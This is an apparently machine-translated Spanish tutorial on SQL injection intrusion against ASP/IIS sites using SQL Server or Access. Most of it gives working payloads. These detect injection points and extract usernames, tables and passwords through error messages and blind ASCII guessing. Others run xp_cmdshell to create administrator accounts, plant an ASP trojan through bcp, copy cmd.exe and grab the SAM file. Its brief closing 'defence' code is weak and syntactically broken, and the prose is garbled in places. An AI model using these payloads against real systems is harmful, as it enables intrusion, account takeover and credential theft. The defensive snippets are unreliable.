Red de conocimiento del abogados - Ley de patentes - Acerca de la inyección SQL

Acerca de la inyección SQL

<2>Ideas de inyección SQL

Las ideas son las más importantes. De hecho, ¿muchas personas no saben qué puede hacer SQL? Aquí hay un resumen de la idea general de la intrusión de inyección SQL:

1. Juzgar las vulnerabilidades de inyección SQL, es decir, encontrar el punto de inyección

2. Determinar la base de datos backend escriba

3. Determine la ejecutabilidad de XP_CMDSHELL; si la cuenta actualmente conectada a los datos tiene permisos SA y el procedimiento almacenado extendido master.dbo.xp_cmdshell (puede usar directamente el shell del sistema operativo para llamar a este procedimiento almacenado). procedimiento) se puede ejecutar correctamente, toda la computadora se puede ejecutar a través de varios El control completo mediante este método completará todo el proceso de inyección; de lo contrario, continúe:

1. Descubra el directorio virtual WEB

2. Cargue el troyano ASP;

3 . Obtenga privilegios de administrador

Pasos específicos:

1. Determinación de vulnerabilidades de inyección SQL

Si no ha jugado con la inyección antes, cambie el menú de IE-Herramientas- Opciones de Internet - Avanzado - Desmarque la casilla frente a Mostrar mensajes de error HTTP amigables.

Para explicar el problema claramente, a continuación se toma /news.asp?id=xx (esta dirección es imaginaria) como ejemplo para el análisis. xx puede ser un número entero o una cadena.

1. Juicio de parámetros enteros

Cuando el parámetro de entrada xx es un número entero, normalmente la declaración SQL original en news.asp es aproximadamente la siguiente:

seleccione * del nombre de la tabla donde campo = xx, para que pueda utilizar los siguientes pasos para probar si existe inyección SQL.

El método de juicio más simple

/news.asp?id=xx' (añada una comilla simple),

En este momento, el SQL en noticias .asp La declaración se convierte en

select * del nombre de la tabla donde campo=xx',

Si el programa no filtra "'" bien, solicitará que news.asp se ejecute de manera anormal ; pero de esta manera Aunque el método es muy simple, no es el mejor porque:

Primero, no todos los servidores IIS devolverán un mensaje de error específico al cliente si se agrega cint (parámetro). programa, Si usa una declaración similar, la inyección SQL no tendrá éxito, pero el servidor también informará un error. La información del mensaje específico es un error en el servidor al procesar la URL. Comuníquese con el administrador de su sistema.

En segundo lugar, actualmente la mayoría de los programadores han filtrado "'", por lo que usar " '" no puede probar el punto de inyección, por lo que generalmente se usan los métodos de prueba clásicos 1=1 y 1=2, ver a continuación:

/news.asp?id=xx y 1=1, news.asp se ejecuta normalmente,

y el resultado de la ejecución es el mismo que /news.asp?id=xx;

p>

/news.asp?id=xx y 1=2, news.asp se ejecuta anormalmente (este es el método de juicio clásico 1=1 1=2)

Si se cumple lo anterior, habrá una vulnerabilidad de inyección SQL en news.asp; de lo contrario, es posible que no se inyecte.

2. Juicio de los parámetros de cadena

El método es básicamente el mismo que el de los parámetros numéricos.

Cuando el parámetro de entrada xx es una cadena, generalmente news The La apariencia original de la declaración SQL en .asp es aproximadamente la siguiente:

seleccione * del nombre de la tabla donde el campo ='xx', por lo que puede utilizar los siguientes pasos para probar si existe la inyección SQL.

/news.asp?id=xx' (agregue una comilla simple), luego la declaración SQL en news.asp se convierte en

select * from table name where field = xx', news.asp se ejecuta de manera anormal;

/news.asp?id=xx y '1'='1', news.asp se ejecuta normalmente,

y es diferente de /news . asp?id=xx tiene el mismo resultado de ejecución;

/news.asp?id=xx y '1'='2', news.asp se ejecuta de manera anormal;

Si el Lo anterior se cumple, entonces news.asp tiene una vulnerabilidad de inyección SQL; de lo contrario, no se puede inyectar.

3. Manejo de situaciones especiales

A veces, los programadores de ASP filtrarán caracteres como comillas simples. para prevenir la inyección de SQL. En este momento, puede probar los siguientes métodos.

① Método de mayúsculas y minúsculas: dado que VBS no distingue entre mayúsculas y minúsculas, los programadores generalmente filtran todas las cadenas en mayúsculas o minúsculas al filtrar, y a menudo se ignoran las mayúsculas y minúsculas. Por ejemplo, use SelectT en lugar de select, SELECT, etc.;

②Método UNICODE: en IIS, el conjunto de caracteres UNICODE se usa para lograr la internacionalización. Podemos convertir completamente la entrada de cadena en IE en una cadena UNICODE. para entrada. Por ejemplo, + =%2B, espacio =%20, etc., consulte el Apéndice 1 para obtener información sobre URLEncode

③Método de codificación ASCII: puede ingresar algunos o todos los caracteres

<4>Además de los métodos anteriores, existe una forma más sencilla de utilizar herramientas listas para usar, como NBSI de NB Alliance, que es una muy buena herramienta. La última versión es 2.2

. 2. Determine el tipo de base de datos

Las diferentes bases de datos tienen diferentes funciones y métodos de inyección, por lo que antes de inyectar, debemos determinar el tipo de base de datos. Generalmente, las bases de datos más utilizadas para ASP son Access y SQL Server, y más del 99% de los sitios web en Internet son una de ellas.

¿Cómo consigues que el programa te diga qué base de datos utiliza? Echemos un vistazo:

SQLServer tiene algunas variables del sistema. Si el indicador de IIS del servidor no está cerrado y SQLServer devuelve un mensaje de error, se puede obtener directamente del mensaje de error. /p>

/ news.asp?id=xx;and user>0

Esta declaración es muy simple, pero contiene la esencia del método de inyección único de SQLServer. Yo mismo también lo encontré extremadamente eficiente. en una prueba no intencionada. Permítanme ver su significado: en primer lugar, la declaración anterior es normal, el foco es usuario>0, sabemos que el usuario es una variable incorporada de SQL Server, su valor es el nombre de usuario del actual conexión, el tipo es nvarchar . Compare un valor nvarchar con un valor int de 0. El sistema primero intentará convertir el valor nvarchar en un tipo int. Por supuesto, definitivamente ocurrirá un error durante el proceso de conversión. El mensaje de error de SQL Server es: Convierta el nvarchar. valor "abc" al tipo de datos. Se produce un error de sintaxis cuando es una columna int Jaja, abc es el valor de la variable usuario De esta forma, se puede obtener el nombre de usuario de la base de datos. En las páginas siguientes, verá muchas declaraciones utilizando este método. Por cierto, como todos sabemos, el usuario sa de SQL Server tiene los mismos permisos que los Administradores. Si obtiene permisos sa, es casi seguro que podrá obtener el Administrador del host. El método anterior puede probar fácilmente si está iniciando sesión con sa. Cabe señalar que si inicia sesión con sa, el mensaje es un error al convertir "dbo" en una columna int, no "sa".

Si el servidor IIS no permite devolver mensajes de error, ¿cómo determinar el tipo de base de datos? Podemos comenzar con las diferencias entre Access y SQLServer. Ambos Access y SQLServer tienen sus propias tablas del sistema, como tablas que almacenan todos los objetos en la base de datos. Access está en la tabla del sistema [msysobjects], pero al leer esta tabla en una Web. En el entorno web, aparecerá el mensaje "Sin permiso". SQLServer está en la tabla [sysobjects] y se puede leer normalmente en el entorno web.

Después de confirmar que se puede inyectar, use la siguiente declaración:

/news.asp?id=xx ;and (select count(*) from sysobjects)>0

/news.asp?id=xx ;y (seleccione recuento (*) de sysobjects)>0

p>

/news.asp?id=xx ;y (seleccione count(*) from msysobjects)>0

Si la base de datos es SQLServer, entonces la página de la primera URL es la misma que la página original /news .asp?id=xx es aproximadamente la misma; la segunda URL, debido a que no se puede encontrar la tabla msysobjects, generará un error. Incluso si el programa tiene un procesamiento de tolerancia a fallas, la página es completamente diferente de la página original.

Si la base de datos usa Access, entonces la situación es diferente. La página de la primera URL es completamente diferente de la segunda URL depende de si la configuración de la base de datos permite la lectura de la tabla del sistema. Hablando, no está permitido, por lo que es completamente diferente de la URL original. En la mayoría de los casos, puede usar la primera URL para conocer el tipo de base de datos utilizada por el sistema, y ​​la segunda URL solo se usa para verificación cuando se activan los mensajes de error de IIS.

3. Determine la ejecutabilidad de XP_CMDSHELL

Si la cuenta actualmente conectada a los datos tiene permisos SA y el procedimiento almacenado extendido master.dbo.xp_cmdshell (este procedimiento almacenado se puede llamar directamente usando el shell del sistema operativo) se puede ejecutar correctamente, toda la computadora se puede controlar completamente mediante los siguientes métodos y todos los pasos posteriores se pueden guardar

1. /news.asp?id=xx y usuario >;0 noticias. ASP se ejecuta de forma anormal pero puede obtener el nombre de usuario actualmente conectado a la base de datos (si se muestra dbo, representa SA).

2. /news.asp?id=xx y db_name()>0 news.asp se ejecuta de forma anormal pero puede obtener el nombre de la base de datos actualmente conectada.

3. /news.asp?id=xx; exec master..xp_cmdshell “net user aaa bbb /add” -- (master es la biblioteca de datos maestros de SQL-SERVER

;El punto y coma en el nombre indica que SQL-SERVER ha terminado de ejecutar el nombre de la declaración antes del punto y coma y continúa ejecutando las declaraciones que le siguen. El signo "—" es un comentario, lo que indica que todo el contenido que le sigue es solo un comentario; y no será ejecutado por el sistema) Puede agregar directamente la cuenta del sistema operativo aaa, la contraseña es bbb.

4. /news.asp?id=xx; exec master..xp_cmdshell "net localgroup administradores aaa /add" -- agregue la cuenta aaa recién agregada

al grupo de administradores medio.

5. /news.asp?id=xx; haga una copia de seguridad del nombre de la base de datos en el disco ='c:\inetpub\wwwroot\save.db' obtendrá el contenido de los datos

Atrás cargue todo en el directorio WEB y luego use HTTP para descargar el archivo (por supuesto, primero debe conocer el directorio virtual WEB).

6. Cree una vulnerabilidad UNICODE copiando CMD

/news.asp?id=xx;exec master.dbo.xp_cmdshell “copiar c:\winnt\system32\cmd.exe

c:\inetpub\scripts\cmd.exe" crea una vulnerabilidad UNICODE. Al explotar esta vulnerabilidad, se completa el control de toda la computadora (por supuesto, la primera prioridad es conocer el directorio virtual WEB).

De esta manera, habrá completado con éxito un ataque de inyección SQL. No se emocione todavía. En la práctica, encontrará que es mucho más difícil que la teoría. para venir. A continuación CONTINÚA Si no se cumplen las condiciones anteriores, debes continuar luchando (estás a punto de perder tu caballo :))

¡CONTINÚA~!

Cuando no se cumplan las condiciones anteriores, deberá continuar con los siguientes pasos

(1) Descubra el directorio virtual WEB

Solo encontrando el directorio virtual WEB podrá determinar la ubicación de el troyano ASP y obtener permisos de USUARIO. Hay dos métodos que son más efectivos.

Primero, adivine según la experiencia. En términos generales, el directorio virtual WEB es: c:\inetpub\wwwroot

D:\inetpub\wwwroot; etc., y el directorio virtual ejecutable es:

c:\inetpub\scripts; D:\inetpub\scripts E:\inetpub\scripts, etc.

El segundo es recorrer la estructura de directorios del sistema, analizar los resultados y descubrir el directorio virtual WEB.

Primero cree una tabla temporal: temp

; /news.asp?id =xx;crear temperatura de tabla(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));--

Siguiente:

1 Podemos usar xp_availablemedia para obtener todas las unidades actuales y almacenarlas en la tabla temporal:

/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia ;--

Podemos obtener la lista de unidades e información relacionada consultando el contenido de temp

2 Podemos usar xp_subdirs para obtener la lista de subdirectorios y almacenarla en la tabla temporal:

p>

/news.asp?id=xx;insertar en temp(id) exec master.dbo.xp_subdirs 'c:\';--

3 También podemos usar xp_dirtree para obtener todos los subdirectorios. La estructura de árbol del directorio e insertarla en la tabla temporal:

/news.asp?id=xx;insert into temp(id, num1) exec master.dbo.xp_dirtree 'c:\';- -

De esta manera, puede navegar exitosamente a todas las listas de directorios (carpetas):

Si necesitamos Para ver el contenido de un determinado archivo, podemos ejecutar xp_cmdsell:

/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index. asp';--

Utilice la sintaxis de 'inserción masiva' para insertar un archivo de texto en una tabla temporal.

Por ejemplo: inserción masiva de temp(id) desde 'c:\inetpub\wwwroot\index.asp'

¡Puedes ver el contenido del archivo index.asp navegando por temp! Al analizar varios archivos ASP, se puede obtener una gran cantidad de información del sistema, información de construcción y administración WEB e incluso la contraseña de conexión de la cuenta SA.

Por supuesto, si se puede ejecutar xp_cmshell, podemos usarlo para completar:

/news.asp?id=xx;insertar en temp(id) exec master.dbo. xp_cmdshell ' dir c:\';--

/news.asp?id=xx;insertar en temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a '; --

A través de xp_cmdshell podemos ver todo lo que queremos ver, incluido W3svc

/news.asp?id=xx;insert into temp(id) exec master.dbo . xp_cmdshell 'cscript

C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

Sin embargo, si no son permisos SA, también podemos usar

/news .asp?id=xx;insertar en temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

Nota:

1. Cada vez que se completa lo anterior Después de navegar, se deben eliminar todos los contenidos en TEMP. El método de eliminación es:

/news.asp?id=xx;eliminar de temp;--

2. Examinar TEMP El método de la tabla es: (asumiendo que TestDB es el nombre de la base de datos actualmente conectada)

/news.asp?id=xx y (seleccione la identificación principal de TestDB.dbo.temp) >0

Obtenga el valor del campo id del primer registro en la tabla TEMP y compárelo con el número entero. Obviamente news.asp funciona de manera anormal, pero el valor del campo id se puede encontrar en el. excepción. Supongamos que el nombre de la tabla descubierta es xyz, entonces

/news.asp?id=xx y (seleccione el id principal de TestDB.dbo.temp )>0 donde el id no está en ('xyz')) > 0

Obtiene el valor del campo id del segundo registro en la tabla TEMP.

(2) Cargar troyano ASP

El llamado troyano ASP es un fragmento de código ASP con funciones especiales y se coloca en Scripts en el directorio virtual WEB que los clientes remotos pueden usar. IE ejecutarlo para obtener la autoridad de USUARIO del sistema y lograr el control preliminar del sistema. Generalmente existen dos métodos más efectivos para cargar troyanos ASP:

1. Utilice la función de administración remota de WEB

Muchos sitios WEB proporcionan funciones de administración remota para facilitar el mantenimiento. También hay muchos sitios WEB cuyo contenido tiene diferentes derechos de acceso para diferentes usuarios. Para controlar los permisos del usuario, existe una página web que requiere un nombre de usuario y contraseña. Solo cuando se ingresan los valores correctos se puede realizar el siguiente paso, que puede realizar la administración WEB, como cargar y descargar archivos y directorios. navegación, modificación, etc.

Por lo tanto, si obtiene el nombre de usuario y la contraseña correctos, no solo podrá cargar troyanos ASP, sino que a veces incluso podrá obtener directamente permisos de USUARIO para navegar por el sistema. La complicada operación de "descubrir la WEB virtual". directorio" en el paso anterior se puede omitir.

Los nombres de usuario y las contraseñas generalmente se almacenan en una tabla. Encontrar esta tabla y leer su contenido resuelve el problema. A continuación se ofrecen dos métodos eficaces.

A. Método de inyección:

Teóricamente, la página web de autenticación tendrá un formato como:

seleccione * de admin donde nombre de usuario = 'XXX' y Para la declaración contraseña = 'YYY', si no se realiza el filtrado de caracteres necesario antes de ejecutar oficialmente esta declaración, es fácil implementar la inyección SQL.

Si ingresa: abc' o 1=1-- en el cuadro de texto del nombre de usuario: 123 en el cuadro de contraseña, la declaración SQL se convierte en:

seleccione * de admin donde nombre de usuario ='abc' o 1=1 y contraseña='123'

No importa qué nombre de usuario y contraseña ingrese, esta declaración siempre se ejecutará correctamente y el usuario puede engañar fácilmente al sistema y obtener una identidad jurídica.

B. Método de adivinación:

La idea básica es: adivinar todos los nombres de las bases de datos, adivinar el nombre de cada tabla en la base de datos y analizar los nombres de las tablas que pueden almacenar nombres de usuarios y contraseñas, adivine el nombre de cada campo en la tabla y adivine el contenido de cada registro en la tabla.

a Adivina todos los nombres de las bases de datos

/news.asp?id=xx y (selecciona count(*) de master.dbo.sysdatabases donde nombre>1 y dbid=6) < >0

Debido a que el valor de dbid varía de 1 a 5, el sistema lo utiliza. Por tanto, los construidos por los usuarios deben empezar desde 6. Y enviamos nombre>1 (el campo de nombre es un campo de caracteres y la comparación con números causará errores), news.asp funciona de manera anormal y se puede obtener el primer nombre de la base de datos. De manera similar, cambie el DBID a 7, 8 y 9. respectivamente 10,11,12... puede obtener todos los nombres de las bases de datos.

Lo siguiente supone que el nombre de la base de datos obtenida es TestDB.

b Adivine el nombre de la tabla de nombres de usuario en la base de datos

Método de adivinación: este método consiste en adivinar el nombre de la tabla basándose en la experiencia personal. En términos generales,

<. p> usuario, usuarios, miembro, miembros, lista de usuarios, lista de miembros, información de usuario, administrador, administrador, usuario administrador, usuario del sistema,

usuarios del sistema, usuario del sistema, usuarios del sistema, cuentas del sistema, cuentas del sistema, etc. Y juzgue a través de declaraciones

/news.asp?id=xx y (select count(*) from TestDB.dbo.table name)>0 Si el nombre de la tabla existe, news.asp funciona normalmente, de lo contrario es anormal . Este ciclo continúa hasta que se adivina el nombre de la tabla de cuentas del sistema.

Método de lectura: SQL-SERVER tiene una tabla sysobjects que almacena información central del sistema. Todas las tablas, vistas y otra información sobre una biblioteca se almacenan en esta tabla, y se puede acceder a esta tabla a través de WEB.

Cuando xtype='U' y status>0 representan la tabla creada por el usuario, busque y analice la tabla y el nombre de cada usuario creado, y luego podrá obtener el nombre de la tabla de nombres de usuario. El método de implementación básico es:

①/news.asp?id=xx y (seleccione el primer nombre de TestDB.dbo.sysobjects donde xtype='U' y status>0 )>0

Obtener el primero Un usuario crea el nombre de una tabla y lo compara con un número entero. Aparentemente news.asp funciona de manera anormal, pero el nombre de la tabla se puede encontrar en la excepción.

Supongamos que el nombre de la tabla descubierta es xyz, luego

②/news.asp?id=xx y (seleccione el nombre superior de TestDB.dbo.sysobjects donde xtype='U' and status>0 y

p>

name not in('xyz'))>0 Puede obtener el nombre de la tabla creada por el segundo usuario. De la misma manera, puede obtener los nombres de todas las tablas creadas por el usuario.

Según el nombre de la tabla, generalmente puede determinar qué tabla almacena los nombres de usuario y las contraseñas. A continuación se supone que esta tabla se llama Admin.

c Adivine los nombres del campo de nombre de usuario y del campo de contraseña

Debe haber un campo de nombre de usuario y un campo de contraseña en la tabla de administración Solo obteniendo los nombres de estos dos campos. Es posible obtener el contenido de estos dos campos. Para obtener sus nombres, también existen los dos métodos siguientes.

Método de adivinación: este método consiste en adivinar el nombre del campo según la experiencia personal. En términos generales, los nombres del campo de nombre de usuario se utilizan comúnmente: nombre de usuario, nombre, usuario, cuenta, etc. Los nombres de los campos de contraseña se utilizan comúnmente: contraseña, contraseña, contraseña, contraseña, etc. Y juzgue a través de declaraciones

/news.asp?id=xx y (select count (field name) from TestDB.dbo.admin)>0 "select count (field name) from table name"

obtiene el número de filas de la tabla, por lo que si el nombre del campo existe, news.asp funciona normalmente; de ​​lo contrario, será anormal. Este ciclo continúa hasta que se adivinan los nombres de los dos campos.

Método de lectura: el método de implementación básico es

/news.asp?id=xx y (seleccione los 1 primeros col_name(object_id('admin'),1) de TestDB.dbo .sysobjects)>0.

select top 1 col_name(object_id('admin'),1) de TestDB.dbo.sysobjects es el primer nombre de campo del nombre de tabla conocido obtenido de sysobjects. En comparación con el número entero, obviamente es noticia. asp funciona de manera anormal, pero el nombre del campo se puede encontrar en la excepción. Reemplace 1 en col_name(object_id('admin'),1) con 2, 3, 4, 5, 6... para obtener todos los nombres de los campos.

d Adivinar nombres de usuario y contraseñas

Los métodos más comunes y efectivos para adivinar nombres de usuario y contraseñas son:

Método de decodificación palabra por palabra del código ASCII:Aunque Este método es más lento, ciertamente es factible. La idea básica es adivinar primero la longitud del campo y luego adivinar el valor de cada bit por turno. El método para adivinar el nombre de usuario es el mismo que para adivinar la contraseña. A continuación se utiliza el método de adivinar el nombre de usuario como ejemplo para ilustrar el proceso.

/news.asp?id=xx y (seleccione el 1 superior len(nombre de usuario) de TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,nombre de usuario

es el nombre del campo de nombre de usuario, admin es el nombre de la tabla), si x es un cierto valor i y news.asp se ejecuta normalmente, entonces i es la longitud del primer nombre de usuario .

Por ejemplo: al ingresar

/news.asp?id=xx y (seleccione el 1 superior len(nombre de usuario) de TestDB.dbo.admin)=8, news.asp se ejecuta normalmente, luego el primer nombre de usuario la longitud es 8

/news.asp?id=xx y (seleccione el 1 superior ascii(substring(username,m,1)) de TestDB.dbo.admin)=n (el valor de m es 1 Entre la longitud del nombre de usuario obtenido en el paso anterior, cuando m=1, 2, 3,... adivine el valor del 1º, 2º, 3º,... bits respectivamente, el valor de n es 1~9; , a~z, A El valor ASCII de ~Z es cualquier valor entre 1 y 128; admin es el nombre de la tabla de cuentas de usuario del sistema). Si n es un valor determinado i y news.asp se ejecuta normalmente, el código ASCII. correspondiente a i es el nombre de usuario. Por ejemplo: al ingresar

/news.asp?id=xx y (seleccione el 1 ascii superior (subcadena (nombre de usuario, 3,1)) de TestDB.dbo.admin) = 80, se ejecuta news.asp normalmente, entonces el tercer dígito del nombre de usuario es P (el ASCII de P es 80 /news.asp?id=xx y (seleccione el 1 ascii superior (subcadena (nombre de usuario, 9,1)) de TestDB.dbo). admin)= A las 33:00, news.asp se ejecuta normalmente, luego el noveno dígito del nombre de usuario es ! (el ASCII de ! es 80 después de adivinar el primer nombre de usuario y contraseña, de la misma manera, todos los demás nombres de usuario y contraseñas); se puede adivinar. Nota: A veces, la contraseña obtenida puede ser información cifrada con MD5 u otros métodos, y es necesario utilizar herramientas especiales para descifrarla. O cambie su contraseña primero y luego vuelva a cambiarla después de su uso; consulte las instrucciones a continuación. Método simple: adivine el nombre de usuario usando /news.asp?id=xx y (seleccione el indicador superior 1 de TestDB.dbo.admin donde nombre de usuario>1), el indicador es un campo en la tabla de administración, el nombre de usuario es el campo de nombre de usuario, en este time news.asp funciona de forma anormal, pero se puede obtener el valor de Nombre de usuario. Con el mismo método anterior, puede obtener el segundo nombre de usuario, el tercer usuario, y así sucesivamente, hasta obtener todos los nombres de usuario de la tabla.

Adivine la contraseña de usuario: /news.asp?id=xx y (seleccione la 1 bandera principal de TestDB.dbo.admin donde pwd>1), la bandera es un campo en la tabla de administración, pwd es la contraseña campo, en este momento news.asp funciona de manera anormal, pero se puede obtener el valor de pwd. Con el mismo método anterior, puede obtener la contraseña del segundo nombre de usuario, la contraseña del tercer usuario, y así sucesivamente, hasta las contraseñas de todos los usuarios de la tabla. A veces, la contraseña está cifrada con MD5 y se puede cambiar.

/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' donde nombre de usuario='www';-- (El valor MD5 de 1 es: AABBBBCCDDDEEEF, es decir, cambie la contraseña a 1 www es un nombre de usuario conocido) Por supuesto, puede cambiar la contraseña a su valor original utilizando el mismo método.

2. Utilice la función de exportar el contenido de la tabla a archivos.

SQL tiene el comando BCP, que puede exportar el contenido de la tabla a un archivo de texto y colocarlo en una ubicación específica. . Con esta función, primero podemos crear una tabla temporal, luego ingresar un troyano ASP en la tabla línea por línea y luego usar el comando BCP para exportarlo para formar un archivo ASP.

El formato de la línea de comando es el siguiente:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar

(El parámetro 'S' es el servidor que ejecuta la consulta, el parámetro 'U' es el nombre de usuario y el parámetro 'P' es la contraseña. Finalmente, un 163. se cargó el troyano asp)

3. Utilice herramientas, como los nombres de tablas más importantes de algunos datos de referencia proporcionados por NBSI:

seleccione * de sysobjects

sysobjects ncsysobjects

sysindexes tsysindexes

syscolumns

systypes

sysusers

sysdatabases

sysxlogins

sysprocesses

Algunos de los nombres de usuario más importantes (existentes en la base de datos SQL predeterminada)

public

dbo

invitado (generalmente prohibido o sin permisos)

db_sercurityadmin

ab_dlladmin

Algunas extensiones predeterminadas

xp_regaddmultistring

xp_regdeletekey

xp_regdeletevalue

xp_regenumkeys

xp_regenumvalues ​​​​

xp_regread

xp_regremovemultistring

xp_regwrite

controlador xp_availablemedia Relacionado

directorio xp_dirtree

conexión ODBC xp_enumdsn

información del modo de seguridad del servidor xp_loginconfig

xp_makecab crea un volumen comprimido

información del dominio xp_ntsec_enumdomains

proceso terminal xp_terminate_process, dando un PID

(3) Obtener los derechos de administrador del sistema

El troyano ASP sólo tiene derechos de USUARIO. Para obtener control total sobre el sistema, también necesita derechos de administrador en el sistema. ¿Qué hacer? Hay muchas formas de elevar los permisos:

Cargar un troyano y modificar el archivo .ini que se ejecuta automáticamente en el arranque (dejará de funcionar tan pronto como se reinicie

Copiar); CMD.exe a scripts, crea artificialmente vulnerabilidades UNICODE

Descargue el archivo SAM, descifre y obtenga todos los nombres de usuario y contraseñas del sistema operativo

Espera, dependiendo de las condiciones específicas de el sistema, se pueden adoptar diferentes métodos.

Entonces, ¿cómo prevenimos las inyecciones? El programa se puede agregar a asp, html, php o cgi de la siguiente manera. Probado.

Agregue el comienzo del archivo top.asp

Método 1:

<%if session("username"="" or session("userkey"="" then

response.redirect "../../"

end if%>

(Nota: siempre que haya inyección de usuario, salte al ../ ../directory, jaja, veamos cómo me lo inyectas)

Método 2:

<%

server_v1=Cstr(Request.ServerVariables( "HTTP_REFERER")

p>

server_v2=Cstr(Request.ServerVariables("SERVER_NAME")

si mid(server_v1,8,len(server_v2))<>server_v2 entonces

respuesta.write "

"

respuesta.write "< tr>

"

response.write "La ruta que enviaste es incorrecta. Está prohibido enviar datos desde fuera del sitio. ¡No te metas con este parámetro!"

respuesta.write "

respuesta.write " td>

"

respuesta.end

end if

%>

(Nota: siempre que haya inyección del usuario, se juzgará como una conexión externa, jaja, depende de cómo se inyecte dármelo)

Método tres:

<% dim From_url,Serv_url

From_url = Cstr(Request.ServerVariables("HTTP_REFERER")

Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")

si mid(From_url,8,len( Serv_url)) <> Serv_url entonces

respuesta.escribir "NO "

respuesta.redirect("../"

respuesta.end

end if%>